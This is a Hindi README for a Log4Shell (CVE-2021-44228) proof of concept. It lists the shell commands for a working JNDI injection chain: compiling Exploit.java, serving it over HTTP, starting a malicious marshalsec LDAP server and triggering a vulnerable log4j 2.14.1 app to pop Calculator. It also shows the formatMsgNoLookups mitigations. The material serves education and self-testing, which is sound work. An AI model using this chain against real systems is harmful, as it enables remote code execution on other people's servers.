
CVE-2021-44228 (Log4Shell) प्रूफ ऑफ कॉन्सेप्ट

Apache Log4j2 <=2.14.1 में कॉन्फ़िगरेशन, लॉग संदेशों और पैरामीटरों में उपयोग की जाने वाली JNDI सुविधाएँ, हमलावर द्वारा नियंत्रित LDAP और अन्य JNDI-संबंधित एंडपॉइंट्स से सुरक्षा प्रदान नहीं करती हैं। एक हमलावर जो लॉग संदेशों या लॉग संदेश पैरामीटरों को नियंत्रित कर सकता है, जब message lookup substitution सक्षम होता है, तो LDAP सर्वरों से लोड किए गए आर्बिट्ररी कोड को निष्पादित कर सकता है।
ग्राहकों को यह समझने में मदद करने के लिए कि यह दोष कैसे काम करता है, हमने यह रेपो एक सरल लेकिन कार्यशील प्रूफ ऑफ कॉन्सेप्ट के साथ तैयार किया है।
स्थानीय रूप से इंस्टॉल किया हो:
इस समय, आर्बिट्ररी कोड macOS या Windows पर Calculator एप्लिकेशन लॉन्च करता है, इसलिए इस PoC द्वारा केवल ये दो ऑपरेटिंग सिस्टम समर्थित हैं।
सभी जानकारियाँ और कोड केवल शैक्षिक उद्देश्यों और/या इस कमजोरी के लिए अपने स्वयं के सिस्टम का परीक्षण करने के लिए प्रदान किए गए हैं।
यह PoC नीचे दिए गए चित्र में वर्णित तकनीक से मिलता-जुलता है (श्रेय GovCERT.ch), सिवाय इसके कि कमजोर सर्वर सरलता के लिए केवल एक साधारण Java क्लास है। यह समझना महत्वपूर्ण है कि यह कमजोरी विभिन्न तरीकों से ट्रिगर हो सकती है; नीचे जो वर्णित है वह उनमें से केवल एक है।

इस रेपो को क्लोन करें
terminal1 $ git clone https://github.com/sunnyvale-it/CVE-2021-44228-PoC.git
एक्सप्लॉइट को कंपाइल करें (JDK 11 का उपयोग करके)
terminal1 $ javac Exploit.java
एक्सप्लॉइट को सर्व करने के लिए HTTP सर्वर चलाएं
terminal1 $ python -m SimpleHTTPServer 8888 --directory .
दुर्भावनापूर्ण LDAPRefServer शुरू करें (धन्यवाद: https://github.com/mbechler/marshalsec)
terminal2 $ java -cp tools/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
बगी एप्लिकेशन लॉन्च करें (log4j 2.14.1 युक्त)
terminal3 $ mvn package && mvn exec:exec
अगर सब कुछ ठीक रहा, तो Calculator एप्लिकेशन (आर्बिट्ररी कोड एक्ज़ीक्यूशन) पॉप-अप हो जाना चाहिए

terminal3 $ export LOG4J_FORMAT_MSG_NO_LOOKUPS=true
terminal3 $ mvn package && mvn exec:exec
इस स्थिति में Calculator को अब पॉप-अप नहीं होना चाहिए
terminal3 $ mvn package && mvn exec:exec -Dlog4j2.formatMsgNoLookups=true
इस स्थिति में Calculator को अब पॉप-अप नहीं होना चाहिए